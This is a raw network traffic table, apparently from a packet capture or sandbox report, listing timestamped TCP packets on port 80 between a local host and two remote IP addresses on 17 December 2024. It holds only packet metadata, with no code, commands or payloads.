Dec 17, 2024 22:06:37.289973021 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.290074110 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.290937901 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.291239977 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.291301012 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.291992903 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.292074919 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.292150974 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.292273045 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.293160915 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.293198109 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.293226957 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.293235064 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.294122934 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.294188976 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.294344902 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.294399977 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.295423985 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.295475006 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.295761108 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.296375036 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.296411037 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.296425104 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.296458960 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.297388077 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.297565937 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.297617912 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.298450947 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.298521996 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.298573017 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.299475908 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.299525976 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.299865961 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.300591946 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.300647974 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.300769091 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.300934076 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.301630020 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.301882982 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.301929951 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.302700996 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.302783012 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.302835941 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.303803921 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.303852081 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.303930044 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.304968119 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.305006981 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.305022001 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.305049896 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.305841923 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.305985928 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.306035042 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.306919098 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.307040930 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.307090044 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.308002949 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.308048964 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.308167934 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.309076071 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.309123039 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.309170961 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.309458017 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.310161114 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.310298920 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.310348034 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.311192989 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.311299086 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.311342955 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.312295914 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.312330008 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.312341928 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.313148975 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.313355923 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.313400030 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.313457966 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.313502073 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.314568043 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.314621925 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.314951897 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.315787077 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.315840960 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.315840960 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.316788912 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.316837072 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.316854954 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.316898108 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.317698956 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.318316936 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.318360090 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.318700075 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.318942070 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.318988085 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.319752932 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.319924116 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.319972992 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.320805073 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.320848942 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.321095943 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.321206093 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.321887016 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.321932077 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.322227001 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.322273970 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.322916031 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.322962046 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.323451042 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.323497057 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.323998928 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.324045897 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.324157953 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.324204922 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.325038910 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.325155020 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.325381994 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.325427055 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.326174021 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.326395988 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.326443911 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.327167034 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.327233076 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.327284098 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.328197002 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.329102039 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.363276005 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.365138054 CET	49836	80	192.168.2.4	104.154.220.71
Dec 17, 2024 22:06:37.365230083 CET	49836	80	192.168.2.4	104.154.220.71
Dec 17, 2024 22:06:37.464384079 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.464529991 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.464657068 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.465092897 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.465128899 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.465177059 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.465956926 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.466010094 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.466054916 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.467010975 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.467045069 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.467087030 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.468064070 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.468162060 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.468200922 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.469213009 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.469244003 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.469263077 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.469295979 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.470161915 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.470354080 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.470393896 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.471426964 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.471442938 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.471482038 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.472294092 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.472358942 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.472383976 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.473551989 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.473592043 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.473637104 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.473743916 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.474436045 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.474669933 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.474708080 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.475481987 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.475678921 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.475718021 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.476663113 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.476711988 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.477091074 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.477627039 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.477674007 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.477725983 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.478781939 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.478821993 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.479027987 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.479064941 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.479773998 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.479974985 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.480012894 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.480798960 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.481220961 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.481348991 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.481889963 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.481931925 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.482938051 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.483037949 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.483052969 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.483078957 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.483093977 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.484016895 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.484059095 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.484339952 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.485136986 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.485156059 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.485169888 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.485182047 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.485215902 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.485222101 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.485248089 CET	49836	80	192.168.2.4	104.154.220.71
Dec 17, 2024 22:06:37.485276937 CET	49836	80	192.168.2.4	104.154.220.71
Dec 17, 2024 22:06:37.485308886 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.485322952 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.485333920 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.485359907 CET	49836	80	192.168.2.4	104.154.220.71
Dec 17, 2024 22:06:37.485400915 CET	49836	80	192.168.2.4	104.154.220.71
Dec 17, 2024 22:06:37.485433102 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.485446930 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.485493898 CET	49836	80	192.168.2.4	104.154.220.71
Dec 17, 2024 22:06:37.485658884 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.485671043 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.485718966 CET	49836	80	192.168.2.4	104.154.220.71
Dec 17, 2024 22:06:37.485814095 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.485877037 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.485889912 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.485928059 CET	49836	80	192.168.2.4	104.154.220.71
Dec 17, 2024 22:06:37.485949993 CET	49836	80	192.168.2.4	104.154.220.71
Dec 17, 2024 22:06:37.485986948 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.486192942 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.486219883 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.486234903 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.486251116 CET	49836	80	192.168.2.4	104.154.220.71
Dec 17, 2024 22:06:37.486252069 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.486255884 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.486265898 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.486287117 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.486342907 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.486356020 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.486373901 CET	49836	80	192.168.2.4	104.154.220.71
Dec 17, 2024 22:06:37.486377954 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.486522913 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.486637115 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.486650944 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.486716986 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.486793041 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.486821890 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.486927986 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.486943007 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.487018108 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.487154961 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.487277985 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.487376928 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.487391949 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.487420082 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.487610102 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.487622976 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.488274097 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.488390923 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.488428116 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.489372015 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.489590883 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.489633083 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.490411043 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.490493059 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.490535021 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.491477966 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.491518974 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.491703033 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.492568016 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.492583990 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.492609978 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.492639065 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.492990971 CET	49836	80	192.168.2.4	104.154.220.71
Dec 17, 2024 22:06:37.493619919 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.493673086 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.493783951 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.494677067 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.494719028 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.494884968 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.495843887 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.495897055 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.495980978 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.496020079 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.496843100 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.497024059 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.497068882 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.497860909 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.498608112 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.498656988 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.498955965 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.499387026 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.499429941 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.500112057 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.500154018 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.500654936 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.501229048 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.501272917 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.502052069 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.502240896 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.502280951 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.502290010 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.502330065 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.503252983 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.503423929 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.503463984 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.504251003 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.504543066 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.504584074 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.505415916 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.505455017 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.505537033 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.505733013 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.506450891 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.506515980 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.506870031 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.506906033 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.507524014 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.507600069 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.507646084 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.508601904 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.508935928 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.508984089 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.509025097 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.509593964 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.509633064 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.509654999 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.509690046 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.510704994 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.510796070 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.510827065 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.510865927 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.511723042 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.511763096 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.511831999 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.511877060 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.512800932 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.512840033 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.512983084 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.513024092 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.513854027 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.513981104 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.514023066 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.514916897 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.515265942 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.515311003 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.516084909 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.516458035 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.516529083 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.517081976 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.517138004 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.517380953 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.517502069 CET	49825	80	192.168.2.4	31.41.244.11
